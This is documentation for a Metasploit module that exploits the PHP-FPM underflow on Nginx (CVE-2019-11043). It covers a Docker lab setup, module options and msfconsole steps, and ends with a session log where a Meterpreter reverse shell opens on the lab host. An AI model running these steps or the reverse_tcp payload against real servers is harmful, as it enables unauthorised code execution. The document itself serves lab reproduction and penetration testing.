This module exploits an underflow vulnerability in versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 of PHP-FPM on Nginx. Only servers with certains Nginx + PHP-FPM configurations are exploitable. This is a port of the original neex's exploit code (see refs.). First, it detects the correct parameters (Query String Length and custom header length) needed to trigger code execution. This step determines if the target is actually vulnerable (Check method). Then, the exploit sets a series of PHP INI directives to create a file (`/tmp/a`) locally on the target, which enables code execution through a query string parameter (`?a=`). This is used to execute normal payload stagers. Finally, this module does some cleanup by killing local PHP-FPM workers (those are spawned automatically once killed) and removing the created local file (`/tmp/a`). ## Vulnerable Application - Install Nginx on Linux (`apt-get install nginx`) - get the vulnerable PHP: ``` git clone https://github.com/php/php-src # checkout the fix git -C php-src checkout ab061f95ca966731b1c84cf5b7b20155c0a1c06a # checkout the commit previous to the fix git -C php-src checkout HEAD~1 ``` - make sure the default Nginx configuration contains these entries and no script existence checks (like `try_files`): ``` location ~ [^/]\.php(/|$) { ... fastcgi_split_path_info ^(.+?\.php)(/.*)$; fastcgi_param PATH_INFO $fastcgi_path_info; fastcgi_pass php:9000; ... } ``` See original PoC for details: https://github.com/neex/phuip-fpizdam An easiest way to setup a vulnerable instance is to use the docker configuration provided by the author (https://github.com/neex/phuip-fpizdam/tree/master/reproducer) ## Verification Steps Preparing the target: 1. `git clone https://github.com/neex/phuip-fpizdam` 2. `cd phuip-fpizdam/reproducer/` 3. `docker build -t reproduce-cve-2019-11043 .` 4. `docker run --rm -p 192.168.6.6:8080:80 --name reproduce-cve-2019-11043 reproduce-cve-2019-11043` Running the exploit: 1. `./msfconsole` 2. `use exploit/multi/http/php_fpm_rce` 4. `set RHOSTS 192.168.6.6` 5. `set RPORT 8080` 4. `set TARGETURI /script.php` 6. `set PAYLOAD php/meterpreter/reverse_tcp` 7. `set LHOST 192.168.6.6` 8. `run` ## Options **TARGETURI** Path to a PHP page (`/index.php` by default). This must be a valid page. ## Advanced Options **MinQSL** Minimum query string length (QSL). The QSL detection engine will iterate starting from this value (1500 by default). This option is required. **MaxQSL** Maximum query string length (QSL). The QSL detection engine will iterate until this value is reached (1950 by default). This option is required. **QSLHint** Query string length hint. This value will be used as a QSL candidate. Note that setting this value skips the QSL detection. **QSLDetectStep** Query string length detect step. The QSL detection engine will iterate with this step value (5 by default). This option is required. **MaxQSLCandidates** Maximum query string length candidates. When the number of QSL candidates found during the QSL detection phase is greater than this value (10 by default), this indicates that something went wrong and we were not able to detect the correct values. This option is required. **MaxQSLDetectDelta** Maximum query string length detection delta. This value is the maximum distance between the candidate and the extended values (10 by default). For example, with a value of 20 and QSLDetectStep set to 5, candidate [1700] will be extended to [1680, 1685, 1690, 1695, 1700]. This option is required. **MaxCustomHeaderLength** Maximum custom header length. This value is the maximum length that will be used for the custom header during the parameters detection (256 by default). This option is required. **CustomHeaderLengthHint** Custom header length hint. This value will be used as the custom header length. Note that setting this value skips the custom header length detection. **DetectMethod** Method that will be used to detect if the target is vulnerable. Available methods: 1. `session.auto_start`: this method consist in setting the `session.auto_start` PHP option to 1. If the response contains `PHPSESSID=` set-cookie value, this means the PHP option has been correctly set and the target is vulnerable. 2. `output_handler.md5`: this method consist in setting the `output_handler` PHP option to `md5`. If the response is a md5 hash (16 characters), this means the PHP option has been correctly set and the target is vulnerable. **OperationMaxRetries** Maximum of operation retries. Each operation will be repeated at most `OperationMaxRetries` times. ## Scenarios ### Ubuntu 18.04 + nginx 1.14.0 + PHP 7.1.33dev (fpm-fcgi) (built: Feb 14 2020 16:48:15) ``` msf5 > use exploit/multi/http/php_fpm_rce msf5 exploit(multi/http/php_fpm_rce) > set RHOSTS 192.168.6.6 RHOSTS => 192.168.6.6 msf5 exploit(multi/http/php_fpm_rce) > set RPORT 8080 RPORT => 8080 msf5 exploit(multi/http/php_fpm_rce) > set TARGETURI /script.php TARGETURI => /script.php msf5 exploit(multi/http/php_fpm_rce) > set PAYLOAD php/meterpreter/reverse_tcp PAYLOAD => php/meterpreter/reverse_tcp msf5 exploit(multi/http/php_fpm_rce) > set LHOST 192.168.6.6 LHOST => 192.168.6.6 msf5 exploit(multi/http/php_fpm_rce) > run [*] Started reverse TCP handler on 192.168.6.6:4444 [*] Sending baseline query... [*] Detecting QSL... [+] The target is probably vulnerable. Possible QSLs: [1765] [*] Doing sanity check... [*] Detecting attack parameters... [+] Parameters found: QSL=1760, customh_length=69 [+] Target is vulnerable! [*] Performing attack using php.ini settings... [+] Success! Was able to execute a command by appending 'which+which' [*] Trying to cleanup /tmp/a... [+] Cleanup done! [*] Sending payload... [*] Sending stage (38288 bytes) to 192.168.6.6 [*] Meterpreter session 1 opened (192.168.6.6:4444 -> 192.168.6.6:59177) at 2020-02-14 12:03:45 -0600 [+] Session created [*] Remove /tmp/a and kill workers... [+] Done! meterpreter > getuid Server username: www-data (33) meterpreter > sysinfo Computer : 832efebeac57 OS : Linux 832efebeac57 4.9.184-linuxkit #1 SMP Tue Jul 2 22:58:16 UTC 2019 x86_64 Meterpreter : php/linux meterpreter > ```